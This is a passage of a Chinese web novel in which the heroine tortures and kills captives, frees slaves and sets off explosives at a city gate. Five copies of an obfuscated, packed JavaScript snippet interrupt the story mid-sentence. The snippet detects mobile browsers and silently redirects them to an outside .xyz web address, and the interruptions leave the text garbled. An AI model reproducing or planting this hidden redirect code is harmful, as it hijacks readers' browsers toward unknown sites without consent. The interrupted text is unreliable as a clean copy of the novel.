叶晚竹盯着那纸条上的“叶”字,实在是不能作他想。 “来,你也看看。” 走到邵威面前蹲下,叶晚竹将纸条在他眼前展开。 邵威飞快地看了一遍,神情变幻莫测,又很快抬眼看着叶晚竹,好像渐渐想明白了什么。 “你猜猜,我是谁?”叶晚竹伸手拍了拍他的脸,“真没想到啊,咱们安王世子的爪牙,竟然能在南疆扎根得如此之深?” 处心积虑想把她干掉,也有这种能力的,只有孟希越一个人。 叶晚竹又回味了一遍纸条上的内容,冷冷地笑了。 看来,矿山那边发生的事情,一定是已经传回了京城。 就是不知道孟希越查黄县令这个“叛徒”,能查得怎么样了。 敛起思绪,叶晚竹一边朝着邵威低头看去,一边拔出匕首,不轻不重地按在他喉头。 她伸手把塞进邵威口中的布团拿了出来,又在他脖颈上留下一道血痕。 “安王世子把你放在这儿,目的是什么?” 第一百八十八章 大梁战败之后 嘴里的东西刚被拿开,邵威便急促地大口喘着粗气,豆大的汗珠也稀里哗啦地落了下来。 “我,我只是打探消息!”他咽了咽口水,立刻被脖颈上的疼痛激得越发浑身哆嗦起来。 这就是景平王妃,叶晚竹? 邵威人在万源,但对矿山那边的消息也能略知一二。 就是这位只带了十几个人,就把偌大的一座矿山炸得至今都还不能恢复正常? 邵威的眼神越发畏惧起来。 “我,我真的什么都不知道,我只是听命行事!”他连忙又补上一句,连舌头都不利索了。 “哦?”叶晚竹按在他脖颈上的**却没有半点要放松的迹象,“那你给我说说,你在这儿都听孟希越的命令,干过什么事?” 邵威的眼神立刻就闪动起来,写满了心虚。 “嗷~!” 他也就迟疑了那么一下的功夫,叶晚竹抬手就在他脸上划了一刀! 鲜血渗出,邵威剧烈地震颤了一下,闭上双眼,一副视死如归的表情。 “我奉世子之命在万源开办奴市,和当地的衙门打好关系,然后,然后把一些伪装成奴隶的人,送到南疆各个要员的家中,去打探消息!” 这么说来,还真是打探消息? 叶晚竹挑了挑眉,面上仍是不动声色,“还有呢?” “还,还有替世子送信……”邵威的语气先是软了下去,又立刻变得紧张,“王妃,那些信都是绝密的,我们不能看,我什么都不知道啊!” “再让我听见你什么都不知道,我就割了你的舌头!” 被他连哭带喊嚷得心烦,叶晚竹手上又用了两分力气,邵威几乎是立刻就止住了所有的声音,憋得呼吸都在控制不住地发抖。 他用一双乞求的眼睛看着叶晚竹,里面写满了老实。 叶晚竹却暂时没有开口。 若邵威说的是实话,说明孟希越和南疆王的合作也不是真心实意的。 这倒算是个好消息,可想到孟希越的胃口如此之大,叶晚竹的心里也有些不安。 孟希越这是对南疆也有所图谋,他一个人,想吃下大梁和南疆,没有点底气是不可能办到的。 叶晚竹从前以为孟希越的靠山是南疆,现在想来,他靠的又是什么? 思索间,她不由得皱紧了眉头。 邵威身上已经没什么有价值的线索了,叶晚竹转头又朝那个小厮看了过去。 隐风刚才说过,他是从邵府之外来送信的。 “你是要自己说,还是等着我也在你身上来几刀?” 在这小厮面前站定,叶晚竹缓缓转动着手里的**。 和邵威相比,这小厮的态度堪称英勇,虽然两条腿在不住地打着摆子,但却硬是咬紧牙关,一声不吭。 冷笑一声,叶晚竹手起刀落,将他的耳朵割了一只下来! 鲜血淋漓,那小厮终于控制不住,发出一声闷哼。 “耳朵不好用就别要了,我再说一次,老实交代,否则,我把你的舌头也割下来。” 用沾满鲜血的刀尖在这小厮嘴唇上点了点,叶晚竹的表情十分认真。 那小厮忍着剧烈的疼痛,却依旧死死地抿着嘴唇,一双眼睛死死盯着叶晚竹。 下一刻,血花飞溅,他被叶晚竹一刀割喉,连半点声音都没有能发出来,便直挺挺地倒在了地上! 他正冲着邵威的方向,倒下的时候还没完全断气,身体抽搐着,逐渐越发猛烈,很快又渐渐停了下来。 温热的鲜血顺着地板蔓延开来。 邵威并不是没有见过**的样子,可被人扯着头皮从地上重新站起来的时候,还是感到后背止不住地散发着寒气。 “这小厮是个不识时务的,不过,我相信邵老板一定不是这种人,对不对?” 叶晚竹已经重新在桌子边坐了下来,手里依旧把玩着那把**,已经被鲜血浸透,雪亮的刀刃却依然在闪着光。 “邵老板。” 她又喊了一声,邵威便只能被身后的人按着脑袋,别别扭扭地在叶晚竹面前坐了下来。 “王,王妃……您想怎么样?” 都到了这种地步,谁也不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758459|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再费力掩饰了,邵威苦笑一声,“我就是个做生意的,您要是想在万源做点什么,小的可以帮忙,但安王世子的事情,小的真的插不上手。” “不过,我这里有许多在南疆大臣们府中打探消息的渠道,王妃您若是想用,小的双手奉上!” 听着这话,叶晚竹越发确认自己先前的想法没错。 这邵威着实是个能屈能伸的墙头草。 “孟希越为什么选你给他办事?”她歪了歪头。 这种一眼就能看出来的特质,孟希越不应该会置之不理才对。 邵威的存在,对孟希越的布局来说,简直是个巨大的漏洞。 这里面是不是有什么问题? 叶晚竹的眼神又变得警惕起来。 邵威愣了愣,表情又变得更加苦涩。 “小的这句真的是实话,还请王妃一定要相信——小的真的不知道。” 再说出这句不知道的时候,邵威的语气便和刚才截然不同了,就连他本人的眼神也变得不一样起来。 叶晚竹的目光也在他面上多停留了一刻。 “说吧。”她看出邵威这回不是在撒谎。 邵威皱起眉头,陷入了自己的回忆当中,片刻后才缓缓地开了口。 “那是几个月前……” 叶晚竹到底还是看错了一件事,邵威虽然是大梁长相,大梁口音,可身份文书上,却是白纸黑字写着南疆的名字。 他是万源本地人,父母一代的时候,南郡和南疆的战乱便已经开始,邵家在边境的一座小镇,实在是活不下去,只好跑到万源,阴差阳错地扎根下来。 邵家本来就是做生意的,邵威长大后继承家业,又赶上南疆和大梁暂时休战,便做起了把两国特产互相卖给对方的生意。 起初还好,可等到南疆再一次向南郡发动进攻,邵威的生意瞬间便全都化为乌有。 再等到孟希越领兵前来南疆,战局扩大,那个时候别说挣钱,邵威能保住自己的这条小命,已经是一件非常不容易的事情了。 “等大梁战败之后,有一天——” 第一百八十九章 所以到底谁赢了? “你说什么?” 听到这儿,叶晚竹忽然出声打断了邵威的话。 “我,我马上就要说到了。”邵威被从自己的思绪里强行叫醒,眼中透着满满的迷茫。 这位王妃是嫌弃他说的太慢? “你把刚才的话重复一遍!”谢逸这时候也开了口,语气满是难以置信。 邵威又愣住了,抬头看向周围,这才发现围着自己的几人,表情都算不上好。 他这是说了什么? 舔了舔嘴唇,邵威事小心翼翼地缩着脖子,一边捡起自己中断的思绪。 “我,我说大梁战败后……” 看着这位景平王妃沉下去的眼神,邵威愣是被吓得打了个哆嗦,什么都说不出来了。 “大梁战败了?” 叶晚竹一字一句地道。 自孟希越领兵将南疆的攻势打退后,便是一路高歌猛进,她怎么不知道,大梁打过败仗? 况且,邵威的这个战败,显然是另外的意思。 隐风等人也齐齐盯着邵威。 “是,是啊……” 被这么多道目光看得更加不明所以,邵威心知肯定是什么地方出了问题,却还是只能硬着头皮说下去。 不说这个,其他的,他也不知道啊! “大梁的军队被南疆军诱惑,数十万队伍全部被困进了深山峡谷,天降大雨,全都被瘴气毒**。” “自从那一战之后,大梁军便一蹶不振,南疆军则是趁机出动,打下了南郡,将安王世子和手下的军队全都赶了出去!” “这,这到底有什么问题?” 邵威越说,便能看到自己眼前几人的表情越古怪,实在是忍不住,把话问出了口。 叶晚竹和隐风等人都互相对了对视线。 邵威口中的这场战役,的确出现在了送往京城的战报上。 只不过,那战报中的描述是孟希越识破了南疆军的阴谋,生声东击西,带着大军绕路来到南疆军背后,打了他们一个猝不及防! 那一战收缴了南疆军大半的兵力,也奠定了大胜的基础。 同一场战役,竟然会有两种迥然不同的说法? 叶晚竹的眼神忽然闪了闪。 “南疆人是不是都是这么认为的?”她看向邵威。 “这,当然是!”邵威听见她这么问,表情活像是见了鬼。 不这么认为,还能怎么认为? 难道南疆没赢? 这怎么可能? 邵威的五官都因为这个想法扭曲了起来。 叶晚竹这会儿却有了恍然大悟的感觉。 难怪自从来到万源,她就觉得身边的一切都有些古怪。 客栈那小二的态度,还有邵威手下的话,在这一刻都有了合理的解释。 可这怎么可能呢? 叶晚竹脑海中忍不住也出现了和邵威相同的疑惑。 “孟希越领着南疆使团前往大梁京城,还带去了许多宝物,这件事,你们知不知道?”她很快又想起一件。 若南疆是战胜国的话,怎么想,也不该是他们到大梁去出使吧? 叶晚竹话音落下,果然,邵威的眼神十分茫然。 他摇了摇头,根本就不知道叶晚竹这是在说什么。 他们从来都没有听说过有什么使团的事情! “王妃,你的意思是,南疆真的没赢?” 毕竟父母都是大梁人,邵威耳濡目染,知道了不少东西,这会儿听着叶晚竹的问话,越来越觉得这个离谱的想法可能是真的。 叶晚竹没作声。 说实话,她现在也不敢确定大梁赢了还是没有。 孟希越到底在做什么?竟然连这样的消息都能**? “先不说这件事了,你继续往下讲吧。” 实在是想不清楚,叶晚竹索性先将整件事都抛到一边,捡起了另外一个话题。 邵威哽了一下才反应过来自己听到了什么,饶是自己这条小命都被这位景平王妃捏在手里,也还是控制不住地瞪起了双眼。 他都已经顺从成这样了,怎么还有更过分的? 连一个问题都不让他问! 叶晚竹板着脸,声音又变得冷酷,“快点说!” “……诶,好嘞!” 深吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758460|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,邵威竭尽全力露出一个笑容,难看得让人不忍直视。 没办法,他打不过啊! 不过他刚刚说到什么地方来着? 邵威的脸上又出现了一片空白的神色。 叶晚竹的表情也有了一瞬间的凝滞。 “马上就要说到安王世子了。”夏铃这时候轻声接上了一句话。 她对南疆还是大梁赢了不是那么感兴趣,她只想知道这该死的安王世子是怎么回事! 追杀了她们的商队一路,夏铃心里这口气已经憋了好久了! 邵威闻言一拍脑门,随即又微微皱起了眉头。 “对,打完仗之后,万源城里的人几乎空了一半,什么生意都做不了了,我们这些还留在城里的,也只能东躲西藏。” “邵府的地下有密室,我和几个下人一直躲在里面,这地方除了我谁也不知道才对,可那天,密室却被从外面打开了……” 邵府的密室机关非常隐蔽,可孟希越却毫不费力地找到了机关,不仅将密室打开,而且还带着一众手下,大摇大摆地将邵威带了出来,又把整座邵府都牢牢地控制住了。 “他说他是大梁的安王世子,要跟我做笔生意,他的手下人人带刀,我当然不敢不同意!” 说起那天的事情,邵威的神情还是不免有些黯淡。 “这人贩子的买卖,都是按照安王世子的意思做的;卖出去的奴隶也是他让人送过来,就连刚才跟你们差点儿打起来的那些手下,也是安王世子派来的!” 邵威自己都十分疑惑,这个大梁的安王世子,到底为什么要找他做这个生意? 当时边境都乱成一锅粥了,根本没人在乎做生意的到底是南疆人还是大梁人。 有这样的本事和渠道,安王世子不能自己进来当这个人贩子吗? 叶晚竹静静地看着邵威一脸疑惑的模样,想着他的话,忽然抬手在桌子上敲了敲。 “孟希越有没有跟你说过什么生意以外的,不同寻常的话?” 她看着,做生意的这个理由,怎么都像是个幌子呢? 邵威皱着眉思索片刻,忽然抬起头来。 第一百九十章 你的合作,我接了 “他,他确实问过我一件事!”邵威激动地瞪大双眼,“他跟我打听过白玉草。” 白玉草! 这个名字一出,叶晚竹猛地坐直了身子! 这就是前世被使团带到京城,而后风靡一时的那种草药! 前世里叶晚竹只是听说了这草药的风靡,并未记住它的名字,这会儿听邵威一说,便立刻对上了号! “他打听白玉草干什么?”叶晚竹的疑问脱口而出,而后才感到从背后升起了一阵寒意。 是啊,孟希越打听白玉草干什么? 他和邵威合作的那会儿功夫,还不应该知道这个消息吧? 叶晚竹表情混乱,邵威这会儿也好不到什么地方去。 “王妃也对这草药这么感兴趣?”他怀疑地看着叶晚竹。 似乎是发现叶晚竹的人并未真的打算现在就动手要了他的命,邵威的态度也变得越发放松了起来。 看叶晚竹不说话,他甚至开始自己嘟嘟囔囔。 “你们一个个的,都对白玉草这么感兴趣,早知道,我还不如试试说服安王世子,让他同意跟我合作卖这个,不比现在赚得多吗?非要卖什么奴隶?把我的名声都弄坏了……” 叶晚竹回过神来,听着邵威的话,不由得又发现了什么。 “你想卖白玉草?”她的语气依旧有急切,“卖到大梁去?” “您怎么连这都知道?” 邵威眼神一闪,看着叶晚竹的时候也露出了更加兴奋的神情。 “还是您有眼光!这白玉草在南疆就抢手得很,打起来之前,我刚联系药农收了一批,却连一根草都没拿到!” 提起亏损,邵威不住地咬牙切齿,又试着跟叶晚竹商量起要不要合作来。 “看在小的把安王世子的所有线索和渠道全都送给您处置的份儿上,您饶小的一命,小的保管替您把南疆这边安排得妥妥当当,等回了京城,您就安心收银子吧!” 说起白玉草,邵威胸有成竹,显然是对市场十分自信。 叶晚竹也知道白玉草进入大梁后的繁荣兴盛,可问题在于,孟希越是怎么知道的? 一个不好的猜测这时候在她脑海中渐渐浮现了出来。 “主子,不好了!” 叫谢三的暗卫这时候忽然从窗户里飞了进来,神情急切,一眨眼就来到了叶晚竹面前。 “邵府那边好像发现了什么,正带着奴隶转移呢!” 发现邵威的问题后,谢逸便紧急让手下赶往邵府布控,没想到还真派上了用场。 “那些发号施令的,看着和那帮黑衣人的德行很像。”谢三又朝着一行暗卫们看了看。 和那些黑衣人们在矿山斗了那么长时间,他们对对方的路数已经非常清楚了。 若是这边的情况被孟希越发现,那就不妙了。 “主子,咱们怎么办?”谢逸也沉下目光,朝着叶晚竹看了过来。 叶晚竹已经从方才的思绪中回过神,做了几个深呼吸,忽然朝着邵威看了过去。 她眼神若有所思,邵威忽然感到浑身一凛。 “按理来说,你发现了我们这一行人的踪迹,是不是应该立刻上报?” 口中这般说着,叶晚竹却勾起嘴角,露出了一个笑容。 邵威情不自禁地点点头,却依旧是一头雾水,不知道这位景平王妃又想干什么。 “你们要拦人,我们要逃跑,这局面,应该不会太平吧?” 站起身来,叶晚竹居高临下地朝着渐渐开始明白了的邵威看去。 “你的合作,我接了!” —— “找到邵威了没有?” 邵府之中,邵家的下人这会儿全都被带到了前院,挤挤挨挨地站成几排,被那群出现在奴市的,打手模样的人团团包围着。 打手们的表情很是难看,领头之人焦躁地抓着一个又一个从外面进来的手下一一盘问,却都只能得到相同的结果。 “**!这个王八蛋到底跑到什么地方去了!” 又一次追问无果后,领头之**骂一声,愤怒地将那个手下一巴掌打翻在地! “老大,实在是不能再等了!” 又一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758461|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手下从院外匆匆跑了进来,附在领头之人耳边轻语,“如果奴市上的人真的是景平王妃,这会儿,她可能已经跑出万源了!” 不知道她去往哪个方向,他们的人分散去追,效果肯定不会太好。 “我能不知道吗?还用你说!” 那领头之人本就急得像是热锅上的蚂蚁,被手下这么一催,更是火冒三丈。 他抬腿又是一脚,把这个手下也踢到一边去了。 追查了这么长时间的景平王妃终于出现在他们的视野范围之中,对于这些人来说,绝对是个好消息。 可他们却没想到,景平王妃一来,就和邵威撞到了一起! 眼下这两方都失去了踪迹,这该怎么办? “老子早就觉得这邵威不是个好东西,骨头软得很,不会也被景平王妃收服了吧?” 又踢了一脚廊柱,领头之人忍不住低声喃喃自语,表情也变得越发难看起来。 要真的是这样,那可就麻烦了—— “老爷!” 就在这时,邵府的下人们忽然大喊起来。 打手们下意识地转头看去,然后就和一脸惊慌失措的邵威对上了视线。 只是……怎么在半空中! 没等反应过来,几个打手便被迎头砸来的邵威撞得咚一声摔在了地上,又滚做一团。 邵威圆胖圆胖的身材在这一刻显得格外好用,一众打手都被他压得七荤八素,眼冒金星,他本人有了这些双重肉垫的缓冲,倒是就地一滚,就站了起来。 “快跑啊!还愣着是想找死吗!” 以出生来就没用过的敏捷动作跑了几步,邵威疯狂地朝着自己府上的下人们摆着手。 “跑啊!都跑!跑得越远越好!” 这地方要乱起来了,没法儿待了! 下人们都还没回过神,呆呆地看着自家老爷从天而降,又听着他大吼大叫了半天,这才连忙朝大门方向看了过去。 门前的那些打手都已经倒下,一个高挑的影子几步走了进来。 “跑吧,这儿马上就要**了。” 第一百九十一章 不出城,都干什么去? 爆,**? 好不容易才反应过来要逃跑的下人们,又被这一句话惊得停下脚步,呆愣当场。 怎么会有**? “你,你是景平王妃?”还活着的打手纷纷后退,有人死死盯着门前的影子失声大喊道。 叶晚竹大步从院外走了进来,朝着那人微微一笑。 “你认识我?那太好了。” 那打手的表情变得扭曲起来,顾不上想叶晚竹这是什么意思,朝着余下的兄弟们一挥手,“上!” 安王世子给他们的命令就是追捕景平王妃,如果他们能把人拿下,岂不是大功一件! 一众打手们闻言齐齐调转视线,朝着叶晚竹的方向扑了过来。 这么一动作,叶晚竹便也能从他们身上看到那些黑衣人的迹象了。 她冷笑一声,飞起一脚便踹向朝自己冲上来的一个黑衣人! “隐风!” 伴随着叶晚竹的一声大吼,冲天的**声骤然从邵府后院的方向响起! “砰!” 没人想到这个**真的是马上就来,邵府下人们的身子止不住地踉跄着。 “还不赶紧走!等死吗?” 邵威也摇摇晃晃地站着,一双眼睛恨铁不成钢地看着自家这帮还没回神的下人,“跑啊!” 叶晚竹往旁边走了两步,将大门让开,这回一众下人们终于做出了正常的反应,大喊着朝外面一股脑地闯了出去! “哼,别怕!他们这是虚张声势!” 一声**很快止歇,众人脚下也不再摇晃,伪装成打手的黑衣人们这会儿也不用在意邵府的下人和邵威了,齐齐上前,又一次朝叶晚竹逼近过去。 只要能抓住景平王妃,其他的事情,他们都不需要管了! 这位就是再厉害,身边也只有十几个人,在矿山的时候那是突然袭击,现在正面对上,怎么可能是他们的对手? “王妃,我看您还是赶快投降吧,还能少吃点苦头!” 方才发号施令的那个头目已经**了,新出来发言的这位朝着叶晚竹看来,眼底满是兴奋的光。 抓住景平王妃,这个头功,就能落在他身上了! 叶晚竹迎上他丝毫不加掩饰的眼神,也忍不住露出了一个笑容。 “你这么确定能抓住我去揽功?怪不得你当不了头领,只能捡这种空子钻。” 那黑衣人的表情变了变,瞧着立刻就阴狠了不少。 “哼,死到临头还嘴硬!” 愤愤地咒骂一声,黑衣人反手便将一道信号炸上了天空! 这万源城附近到处都是他们的人,先前没找到景平王妃,还以为她是跑了,没想到,是到这里来自投罗网! “给我上!围死他们!”他大喝一声,再度冲了上去! 一众黑衣人的情绪也变得亢奋了不少,跟着这临时头领的动作拔刀冲上前去,任凭隐风和谢逸砍瓜切菜般将前面的人击退,也还是不肯罢休。 只要坚持到他们的援军到来,景平王妃只有这么两个侍卫,武功再高,就算是累也能把他们累死! 不过,话又说过来了,怎么就两个侍卫,其他的那些呢? 不是说景平王妃带了一支十几人的队伍吗? 有黑衣人刚想到这儿,便听到阵阵喧闹声从不同于邵府的方向传了过来! 那动静,一听就不是普通的热闹,似乎有人在不断嘶吼! “怎么回事?” 临时头领侧耳听了两声,面上的表情变得紧张,刚想转头去看,眼前便就是一暗! “啊!”他惨叫一声,捂着喉咙仰面朝天倒了下去! “主子!”谢尔得意洋洋地在这帮黑衣人身后落了地,将手中长剑上沾染的几滴血甩到地上,“所有奴隶都已经放出来了!” “什么?” 黑衣人们闻言不由得都瞪大了双眼。 有人更快地反应过来,“这是声东击西!” “猜得很对!” 叶晚竹大步走向黑衣人之间,反手从地上捡起一把无主的剑,朝着这出声的黑衣人横扫了过去! 感受到一阵凌冽的剑气,那黑衣人顿时一惊,下意识地要抬手还击,胸前却忽然袭上了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768941|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股凉意! 叶晚竹一剑刺穿了他的心口,抬手一挥,将这黑衣人甩脱到几步开外的地方。 黑衣人的尸体重重落在地上,叶晚竹的眼神继续朝着剩下的人看去。 “要不要猜一猜,你们的援军,还能不能进得来?” —— 万源城中这会儿已经乱得不能再乱了。 两炷香之前,奴市忽然**,今天本就是开市的大日子,市场上的奴隶多得数不胜数,这下全都一涌而出,朝着城中各条街道而去。 万源奴市最出名的地方就是不把奴隶当成一个人来看,凡是被卖到这里的奴隶,十个里有九个半都遭受过非人的折磨和**。 眼下这口恶气终于迅速又浓烈地在城中彻底蔓延开来。 奴隶们基本上全都是赤身裸体的,得了自由,大部分人要干的第一件事就是穿衣服。 卖他们过来的人牙子没那么好心给他们准备衣裳,于是奴隶们便涌进了城中的成衣坊,布料店,寻找能蔽体的东西。 等勉强穿好衣裳,有人折返回奴市找人牙子报仇,有人径直冲向城门要离开,更多的奴隶们却朝着万源城里最热闹的地方而去。 “我们被弄成这个样子买卖,这么长时间,官府能不知道吗?” “他们不管罢了,都是一丘之貉!” “走!我们要讨个说法!” 奴隶们乱哄哄地喊着,不知道是谁第一个起的头,总之越来越多的人都随着大部队的方向,往城里衙门的方向而去了。 “这,这……怎么会这样?” 城门附近,听着离自己这边越来越远的喊声和脚步声,夏铃的表情不由得变得呆滞起来。 “他们怎么往那边去了?还要到衙门**?这不是没事找事吗?” 叶晚竹带着隐风等人去邵府,夏铃和商队便是到奴市去捣乱的。 按照叶晚竹的安排,她们把这些奴隶放出来之后,便引导着他们离开万源,这些奴隶数量庞大,又心存怨气,就算什么都不做,城里的麻烦肯定也少不了。 可现在这是怎么回事? 第一百九十二章 炸!都炸了! “肯定是奴隶里也有什么问题。” 在这边带队的人是谢尔,他盯着混乱发生的方向,眉头紧皱,一贯的笑容也不见了踪影。 “邵威手里的奴隶都是从大梁被送来的,这些人里说不定有安王世子的手下,看情况不对就从中作梗!”他抿了抿嘴唇。 没想到,安王世子竟然有后招! “这个**!” 计划被破坏,夏铃忍不住咒骂一声,又抬头朝紧闭着的城门上方看了一眼。 空无一人。 **刚刚发生的时候,守城的队伍一得到消息,就立刻将城门牢牢关上,自己也躲在城墙里不出现。 奴隶们闹得再凶,左右也不过是些手无寸铁的平民,奈何不了这高大的四面城墙,最后只能等着被衙门瓮中捉鳖。 这显然也是万源城中不少百姓们的想法,别看现在城里乱成一团,但真正惊慌失措的人,细看却并没有多少。 还有不少商户,直接将大门锁了,悄悄地趴在屋里看外面的热闹。 看来,奴隶**这件事,在万源城里也不是头一回发生了。 “那,那咱们现在怎么办?” 找了个相对隐蔽的角落先躲了起来,听着外面的喊声,小纯忍不住抓紧了夏铃的衣袖。 她们把王妃交代的差事办砸了,还弄出这么大的乱子,肯定把王妃那边的要紧事也耽误了! 谢尔闻言环顾四周,又压低了声音。 “你们先在这儿等着,我过去看看——” 他的话还没说完,便被夏铃摇头打断。 “来不及了,”她朝着声音最激烈的地方抬手指了指,“那边已经开始动手了。” 众人扭头看去,只见混乱中心的某处这时候已经升起了滚滚浓烟! 竟然有人放火! “官差随时都会出动,你一去一来,还不知道事情会变成什么样子,”夏铃眼神闪动,“况且我们刚才不知道奴隶里有问题,十有**已经被安王世子的人盯上了。” “你走了,就凭我们几个,完全不是他们的对手。” 谢尔也知道是这么个道理,况且王妃那边也不知道是个什么情况。 可奴隶**—— “你身上还有多少**?”夏铃依旧拽着谢尔的衣裳,忽然问道。 矿山一战,让他们都感受到了**的好处,从闵镇到万源这一路,虽然原料不好得,不过他们还是尽力又弄出了一些存货。 刚才在邵府**的就是其中之一。 谢尔空着的手下意识地摸了摸腰后。 “四个,”他定了定神,认真地看着夏铃,“你想干嘛?” 夏铃又转头过去看着城门。 “我想把这儿炸了!”她抬起眉毛,眼神骤然发亮。 “炸,炸了?” 饶是谢尔走南闯北多年,这会儿也感觉有点头晕。 “对,炸了!” 夏铃的目光依旧定定地落在城门上。 “安王世子的人再多,也不可能所有的奴隶都是吧?比起在衙门**,离开这儿回家去不是更有吸引力吗?能走一个是一个!” 方才夏铃放眼看去,这些奴隶们大部分都是一副潦倒落魄的模样,安王世子的人就算混在里面,肯定也数量有限。 等大伙儿都走了,剩下的那些再折腾,又能折腾出什么来? 还方便他们事后抓人呢! “就这么办!快,把**拿出来!” 越想越觉得可行,夏铃又连声催促着谢尔。 谢尔不得不承认自己也被这话说动了,他也跟着抬起头,认真地考虑起要怎么炸开城门的这件事情来。 就在这时,城墙上忽然出现了几道晃动着的人影。 —— “城里这是怎么回事?” 城墙之外频频传来叫嚷和催促声,万源负责守城的将军烦不胜烦,带着几个部下走上墙头,便和下方一个神色不善的年轻男人对上了视线。 “城里生乱,暂时关闭了!”曾将军不耐烦地探出头去,粗声粗气地喊着,“绕路吧!短时间开不了了!” 没听见里面都吵成什么样了吗? 一点儿眼色都没有! 心已经够烦的了,曾将军正打算缩回头去,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768942|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方那年轻男人却又嚷了起来。 “我们不是过路,是要进城办事的!” 要进城? 还是我们? 曾将军眯了眯眼,语气越发不好,“那就在外面等着吧!别喊了!城门今天开不了!” “我们的事情非常重要,要是耽误了,你赔得起吗!”那年轻男人却不依不饶,“将军,你打开城门,给我们行个方便吧!” 他话音落下的瞬间,城中又传来一阵兴奋的吼叫声。 曾将军扭头一看,只见县衙的方向又升起了阵阵黑烟,显然是又有人在放火。 都闹成这样了,怎么还没消息传过来? 曾将军止不住地心焦着,这个时候,城门外的声声催促落在他耳中,就显得格外烦人了。 “你有完没完?”他猛地回身就拔出了手中的剑,“本将军说了这么多话,你一个字也听不进去?你是个傻子不成?” 都说了城门开不了,怎么还没完没了地要求? “我——” “将军!将军啊!” 痛痛快快地骂了一通,曾将军正打算回到城楼里,不再理会这个莫名其妙的人,背后却又响起了一阵哀鸣。 怎么又来一个? 曾将军忍无可忍地转过头,最多只看了一眼城门内墙下站着的一行也是商队模样的人,便又厉声开口,“城门不开!你们自己找个地方躲着去!别废话!别吵吵!赶紧滚!” 他一连吼了一大串,下方的商队似乎是被这阵势吓住了,没有声音再传上来。 稍后,看着这一行人贴着无人的墙根快速离开的动作,曾将军终于满意地点了点头。 还好这个有眼色! “将军!” 还没等他满意完,城墙外那个声音又催命一样地传了上来,“您就替我们想想办法吧,您要什么东西都行,我们现在真的必须要进城去!” 曾将军深深地吸了一口气,“拿你的狗命来还也不——”行! 最后一个字还没说出口,曾将军忽然感到身子一晃,耳朵一瞬间什么声音都听不到了! “轰!” 第一百九十三章 证据确凿 还在邵府的叶晚竹倒是被这阵突然出现的**震得回过头去。 “这,这是怎么了?”在她身边,已经如同惊弓之鸟般脆弱的邵威猛地跳了起来。 偌大的邵府前院现在一片死寂,和街上越来越混乱嘈杂的动静形成了鲜明的对比。 地上全是**,一片尸山血海之中,勉强有一块让他们能落脚的地方。 就在刚刚,隐藏在暗处的谢氏暗卫们一拥而上,和这些黑衣人们厮杀了一阵子,以少胜多地解决了战斗。 邵威被叶晚竹拎着到处躲藏,从来没有看到过这样鲜血飞溅的场面,直到这会儿还有些回不过神。 他一屁股又坐回了地上,哆哆嗦嗦地看着被染成红色的地面。 这得有多少血啊? 他这院子还能清理干净吗? “是从城门那边传过来的、” 邵威的心事无人理会,叶晚竹正看着**升起的阵阵浓烟,“还是咱们的**。” 她让夏铃想办法引奴隶们出城,现在不光城里越来越乱,就连城门都开始**了? “肯定出事了。” “主子!主子!” 刚说到这儿,几声急促的声音响起,叶晚竹转头便看到夏铃一行人跌跌撞撞地穿过邵府大门,又一脸惊悚地在廊下停住了脚步。 这副刚刚恶战过的模样,对一支正经商队来说,显然还是太刺激了。 